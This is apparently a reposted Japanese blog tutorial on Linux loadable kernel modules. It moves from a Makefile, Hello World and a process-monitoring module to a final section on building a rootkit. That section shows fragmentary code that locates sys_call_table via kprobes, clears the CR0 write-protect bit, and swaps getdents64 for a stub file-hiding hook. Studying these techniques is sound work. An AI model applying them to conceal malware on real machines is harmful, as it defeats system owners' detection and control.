ホームページ >バックエンド開発 >C++ >LKM Addict、lkm の基礎を学ぶ

LKM Addict、lkm の基礎を学ぶ

Mary-Kate Olsen
Mary-Kate Olsenオリジナル
2024-10-09 06:09:29614ブラウズ

皆さん!今日は、単純な「Hello World」モジュールから LKM ルートキットの作成まで、LKM (ロード可能カーネル モジュール) について説明します。これが役立つと思われた場合は、お気軽に共有してください。最後まで読んでくださった皆様に感謝します。すべてのコードとリファレンスは投稿の下部にリンクされているので、必ずソースをチェックしてください。信じてください。これらを掘り下げてコードを変更すると、さらに多くのことを学ぶことができます。ただし、注意してください。コードの一部は GPL 3 ライセンスの下にあるため、条項を必ず確認してください。

必要なもの:

linux-headers-generic
C コンパイラ (GCC または cc をお勧めします)

目次:

  • 1) LKM とは何か、またその仕組み
  • 2) LKM メイクファイルの例
  • 3) モジュールがカーネルにロードされる方法
  • 4) LKM「ハローワールド」
  • 5) 長年にわたる主要な変更
  • 6) カーネル 5.7 での Syscall テーブルの変更
  • 7) プロセス監視用の LKM
  • 8) LKM ルートキットの構築

1) LKM とは何か、そしてその仕組み:

LKM は、カーネル全体を再コンパイルすることなくハードウェアのドライバーを追加するなど、Linux カーネルの機能を拡張するのに役立つロード可能なカーネル モジュールです。これらは、デバイス ドライバー (サウンド カードなど)、ファイル システムなどに最適です。すべての LKM には、少なくとも次の 2 つの基本機能が必要です。

static int __init module_init(void)
{
    return 0;
}

static void __exit module_exit(void)
{
}

2) LKM メイクファイルの例:

モジュールをコンパイルするための非常に単純な Makefile は次のとおりです。

obj-m := example.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
 $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
 $(MAKE) -C $(KDIR) M=$(PWD) clean

3) モジュールがカーネルにロードされる方法:

lsmod コマンドを使用すると、カーネルにロードされたモジュールを確認できます。 /proc/modules 内の情報をチェックします。モジュールは通常、次のようなエイリアスを通じてカーネルを識別します。

別名 char-major-10–30 ソフトドッグ

これは、softdog.o モジュールをロードする必要があることを modprobe に伝え、depmod -a を実行して作成された依存関係について /lib/modules/version/modules.dep をチェックします。

4) LKM「ハローワールド」:

超基本的な「Hello World」モジュールの作成方法は次のとおりです:

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/init.h>   

static int __init hello_init(void)
{
    printk(KERN_INFO "<1>Hello World\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO"<1> Bye bye!");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_AUTHOR("BrunoCiccarino");
MODULE_LICENSE("GPL");

5) 長年にわたる LKM の主な変化:

LKM には時間の経過とともにかなり重要な変更がいくつかあったため、Linux カーネルのバージョンごとに分類してみましょう。

カーネル 2.x (最大 2.6):

動的な LKM のロードとアンロードの初期サポート。
より良いデバッグ ツール (OOPS、PANIC)。
カーネル 2.6.x:

デバイス管理を改善するための udev の導入。
プリエンプティブカーネルにより応答時間が短縮されます。
ネイティブ Posix スレッド ライブラリ (NPTL) は、マルチスレッド プロセスの処理を改善します。
カーネル 3.x:

名前空間のサポート、Docker などのコンテナ技術の改善。
ファイルシステムと GPU ドライバーの改善。
カーネル 4.x:

KASLR によりカーネルのセキュリティが強化されます。
コンテナーのサポートの向上 (Cgroups、名前空間)。
新しいハードウェアのサポート。
カーネル 5.x:

ファイルシステムの暗号化とライブパッチの強化。
ネットワークを超えた BPF の拡張
RISC-V と ARM のサポートが強化されました。
カーネル 5.7:

大きな変更: セキュリティ上の理由から、syscall テーブル (sys_call_table) へのアクセスが困難になりました。 Syscall テーブルを変更する必要があるモジュールは適応する必要がありました。
カーネル 6.x:

より安全なカーネルモジュール開発のためのRust言語サポート。
モバイル デバイスのエネルギー効率に重点を置いた、セキュリティと分離の改善。

6) カーネル 5.7 の Syscall テーブルの変更点:

Linux 5.7 では、syscall テーブルを保護するために変更が加えられました。現在は書き込み保護されており、簡単にはアクセスできません。これはセキュリティにとっては大きな利点ですが、これに依存する正規のモジュールにとっては複雑な問題になります。 kprobes.h を使用して sys_call_table を検索していた場合は、新しい戦略が必要になります。現在は、書き込み保護 (WP) などの保護機能があるため、直接変更することはできません。

7) プロセス監視用の LKM:

これは、タイマーを使用して定期的に (たとえば 2 秒ごとに) チェックを実行することで、カーネル内のプロセスを監視するモジュールです。プロセスの作成と終了、ファイル アクセス、ネットワークの使用状況などを監視します。

これを始めるためのコードを次に示します。

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/cred.h>

static struct timer_list procmonitor_timer;

static void procmonitor_check_proc_tree(unsigned long unused)
{
    struct task_struct *task;
    for_each_process(task)
        printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid);

    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000));
}

static int __init procmonitor_init(void)
{
    setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0);
    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200));
    return 0;
}

static void __exit procmonitor_exit(void)
{
    del_timer_sync(&procmonitor_timer);
}

module_init(procmonitor_init);
module_exit(procmonitor_exit);

8) LKM ルートキット:

ルートキットは基本的に、マルウェアを隠すためにシステムコールをハイジャックする悪意のあるモジュールです。ここでは、syscall テーブルにフックして動作を変更する方法を示します。

まず、syscall テーブルを見つける必要があります。

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    return (unsigned long*)kallsyms_lookup_name("sys_call_table");
}

その後、syscall テーブルが存在するメモリの保護を解除できます。

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}

その後、元の関数をフックに置き換えます。

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) return -1;

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();
    return 0;
}

フック関数はファイルをインターセプトして非表示にします:

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    // Intercept the syscall here...
    return ret;
}

LKM Addict, learning the basics of lkm

クレジット

ハッカーの選択
エリナックス
カーネルbr
xcellerator
lkmpg
猫好き
私のルートキット
ジアモルヒネ

以上がLKM Addict、lkm の基礎を学ぶの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。